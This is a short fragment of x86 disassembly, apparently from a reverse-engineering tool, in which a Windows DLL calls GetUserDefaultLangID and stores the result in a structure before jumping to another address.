mov word [esi + 0x38], ax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov word [esi + 0x3a], ax
mov eax, edi
jmp 0x10001fb7